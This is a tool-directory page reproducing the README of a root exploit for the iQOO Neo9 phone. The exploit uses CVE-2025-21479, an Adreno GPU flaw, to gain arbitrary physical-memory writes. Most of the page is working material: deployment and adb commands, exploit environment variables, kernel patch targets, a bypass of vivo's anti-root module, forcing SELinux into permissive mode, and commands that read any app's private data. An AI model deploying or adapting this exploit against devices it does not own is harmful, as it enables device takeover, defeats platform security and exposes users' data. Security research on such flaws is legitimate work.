Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
vivo_iqoo_neo_9_root_research_on_CVE-2025-21479 — iQOO Neo9 (PD2338C) 免解锁 Caps-Root 工具** — 基于 CVE-2025-21479 (Adreno GPU SDS) 的任意物理写提权方案 | Kitploit
Tools/GitHubGitHub/reaizuguo/vivo_iqoo_neo_9_root_research_on_cve-2025-21479
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationReverse EngineeringMobile SecurityBinary Exploitation
GitHubreaizuguo/vivo_iqoo_neo_9_root_research_on_cve-2025-21479

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

vivo_iqoo_neo_9_root_research_on_CVE-2025-21479

iQOO Neo9 (PD2338C) 免解锁 Caps-Root 工具** — 基于 CVE-2025-21479 (Adreno GPU SDS) 的任意物理写提权方案

View Repository
34131 month agoNot yet reviewed

Neo9Root

iQOO Neo9 (PD2338C) Unlock-Free Caps-Root Tool — Arbitrary physical-write privilege escalation based on CVE-2025-21479 (Adreno GPU SDS)

License: MIT Platform Kernel

No bootloader unlock, no flashing, no Magisk required. Achieves kernel-level arbitrary physical write through a GPU vulnerability; after patching key kernel functions, a resident root daemon running with full capabilities (41-bit caps) provides root capability to rootc / su.

Key design: euid stays at 2000 to bypass vivo's vr.ko anti-root detection (euid=0 triggers a device reboot), delivering root capability equivalent to uid=0 while keeping the process identity safe.


✨ Features

  • 🔓 No BL Unlock — never touches bootloader / partitions / dm-verity; fully RAM-resident, a reboot leaves no trace
  • 🧬 True kernel-level root — CapEff: 000001ffffffffff (full 41-bit capabilities), not an app-layer masquerade
  • 🛡️ Bypasses vivo anti-root — euid stays 2000, vr.ko detection is defeated, zero device crashes
  • ⚙️ Resident daemon — file queue + Base64 protocol, zero-dependency command execution, full output passthrough
  • 🔌 Compatibility layer — su wrapper, directly usable from MT Manager / Termux
  • 📦 Zero persistence — all patches live in RAM; a reboot automatically restores a clean state

📱 Supported Devices

ItemValue
DeviceiQOO Neo9 (PD2338C)
OSAndroid 15
Kernel5.15.178-gaacdc35637c4-dirty (GKIv1)
GPUAdreno 740 (A7xx)
Memory layoutNo physical KASLR (stext_pa=0xa8010000), global VA slide

⚠️ The exploit depends on this kernel's specific layout (symbol offsets, the VIVO_VMET_BREAK_KMI feature, vr.ko behavior); other devices/kernels require re-adaptation.

🚀 Quick Start

Requirements

  • Windows + adb (or adb on any platform; the scripts are PowerShell-based)
  • USB debugging enabled on the phone

One-Click Deployment (Recommended)

# 克隆后运行 (adb 需在 PATH; 或用 $env:ADB 指定路径)
powershell -ExecutionPolicy Bypass -File scripts\run_rootc_loop.ps1

The script automatically: pushes the three binaries → reboots to grab a cold window → runs the exploit over multiple rounds (~50% hit rate per round) → daemon ready → verifies.

Manual Deployment

# 1. 推送 (只需一次, /data 持久)
adb push exploit\exploit_vivo_neo9 /data/local/tmp/
adb push client\rootc /data/local/tmp/
adb push client\su /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/exploit_vivo_neo9 /data/local/tmp/rootc /data/local/tmp/su"

# 2. 重启获取冷窗口 (重启后 <3 分钟内运行命中率最高)
adb reboot
# ...等待开机完成...

# 3. 启动 exploit (后台 daemon)
adb shell "cd /data/local/tmp && nohup sh -c 'CHEESE_STEXT_PA=0xa8010000 CHEESE_DAEMON=1 CHEESE_PATCH_CAP=1 ./exploit_vivo_neo9 > /data/local/tmp/exploit_daemon.log 2>&1 &'"

# 4. 等待就绪 (命中通常 10s~3min)
adb shell "cat /data/local/tmp/rootd_ready.txt"
# 输出 "ready" 即成功

🛠️ Usage

rootc — Run Arbitrary Root Commands

# 简单命令
adb shell "/data/local/tmp/rootc id"

# 复杂命令 (Base64 编码, 避免引号问题)
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes('ls -la /data/adb; dmesg | tail -5'))
adb shell "/data/local/tmp/rootc B64:$b64"

su — MT Manager / Termux Compatibility

su -c "ls /data/adb"          # 任意 root 命令
su -c "chown 0:0 /path/file"  # 文件属主改为 root:root
su                            # 交互模式 (stdin 逐行)

Termux setup: run these once (as root):

# 开放队列目录写权限 + 安装 su 到 Termux PATH
su -c "chmod 1777 /data/local/tmp"
su -c "cp /data/local/tmp/su /data/data/com.termux/files/usr/bin/su && chmod 755 /data/data/com.termux/files/usr/bin/su"

MT Manager: Settings → ROOT → Custom su path → /data/local/tmp/su

u0 — True Root (euid=0) Operations

The rootc/su environment deliberately keeps euid=2000 (to evade vr.ko anti-root detection). However, the drivers behind a few kernel interfaces (such as /proc/vrp and some sysfs nodes) check current_euid()==0, which full caps alone cannot pass → in that case use u0 to borrow the rootd environment's CAP_SETUID and elevate to true root:

# 推送 (只需一次)
adb push client\u0 /data/local/tmp/u0
adb shell "chmod 755 /data/local/tmp/u0"

# 用法: u0 <绝对路径程序> <参数...>   (execv 需要绝对路径!)
$cmd = '/data/local/tmp/u0 /system/bin/sh -c "id; cat /proc/vrp 2>&1"'
$b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($cmd))
adb shell "/data/local/tmp/rootc B64:$b64"
# 输出: uid=0(root) gid=0(root) ...   ← 真 root 会话
  • Verified safe: setuid(0) does not trigger the vr.ko fatal (the rootd main process itself runs long-term as uid=0; uid=0 processes are not on the kill list)
  • Confirmed limitations: /proc/vrp still returns EPERM under uid=0 + full caps (the vrp driver carries out an active permission check, not DAC/SELinux — reverse engineering in progress); insmod also triggers a device reboot under uid=0 (module-load detection does not look at the caller's uid)
  • Build instructions are in docs\u0_说明.md

Normal Users (apps / below-shell privilege) Accessing /data/local/tmp

/data/local/tmp is drwxrwxrwt (1777, shell-owned) by default — at the DAC layer, any user can read/write. What actually blocks normal users (the untrusted_app domain) is SELinux (the policy denies app domains access to the shell_data_file label):

# 1. DAC: 确保目录 1777 + 队列文件可写 (rootc 创建时已是 0666)
su -c "chmod 1777 /data/local/tmp"

# 2. SELinux: exploit 部署后处于 permissive, 无需额外操作 (permissive 不执行策略)
#    ⚠️ 不要用 setenforce 0 —— vr.ko 的 avc_has_perm hook 会检测 setenforce 动作
#       (kprobe 虽已中和, hfm 文本 hook 仍可能触发 fatal), 改走 exploit 的
#       物理写 permissive (run_selinux_rmw, 已内置在部署流程)

# 3. 验证 (用 app 身份 / run-as 执行 rootc)
run-as com.termux /data/local/tmp/rootc id        # 或任意 app 执行
# 输出 [rc=0] 即普通用户可正常使用 root 能力
  • Apps can run rootc (1777 directory + 755 file) → normal users obtain full root capability
  • Limitation: permissive is lost after a reboot → normal-user access becomes restricted again (shell_data_file is only accessible to the shell domain); restored after redeploying
  • Read-only access: relay via su -c "cat /data/local/tmp/xxx > /sdcard/xxx" (apps can access /sdcard without restrictions)

Common Verification

su -c id                                        # uid=2000 正常 (见 FAQ)
su -c "grep CapEff /proc/self/status"           # 000001ffffffffff = 全能力
su -c "ls /data/adb"                            # 700 root 目录, 普通 shell 被拒
su -c "chown 0:0 /data/local/tmp/x && ls -l /data/local/tmp/x"   # root 专属操作
su -c "head -5 /proc/iomem"                     # 内核物理内存布局
su -c "ls /data/data/<任意包名>"                 # 任意 app 私有数据

🔬 How It Works

CVE-2025-21479 (Adreno SDS: CP_SET_DRAW_STATE 误判)
        │  特权执行 CP_SMMU_TABLE_UPDATE → SMMU TTBR0 指向伪造页表
        ▼
任意物理写 (fake TT0: L1/L2/L3 三级页表 + 6GB 匿名页 spray 命中)
        │
        ├──▶ patch cap_bprm_creds_from_file 入口 (mov w0,#0; ret)
        │        → exec 后保留 effective caps (普通命令也能带全 caps)
        ├──▶ patch kptr_restrict = 0
        │        → /proc/kallsyms 全地址可见
        └──▶ patch vhangup stub (MODE=10 提权)
                 → fsuid/fsgid=0 + 41 位 caps, euid 保持 2000
                 → fork 常驻 daemon (文件队列服务)
        │
        ▼
rootc / su  ──(文件队列 + B64)──▶  daemon ──▶ 任意 root 命令 (全 caps)

Why euid=2000? The vivo kernel ships a built-in vr.ko anti-root module: any process outside the vrp domain whose cred->euid==0 is detected triggers a fatal (device reboot). The MODE=10 privilege escalation deliberately does not change euid — it only writes fsuid/fsgid + caps. vr.ko cannot trigger, yet all kernel capable() checks pass (true root capability).

📂 Project Structure

Download Tool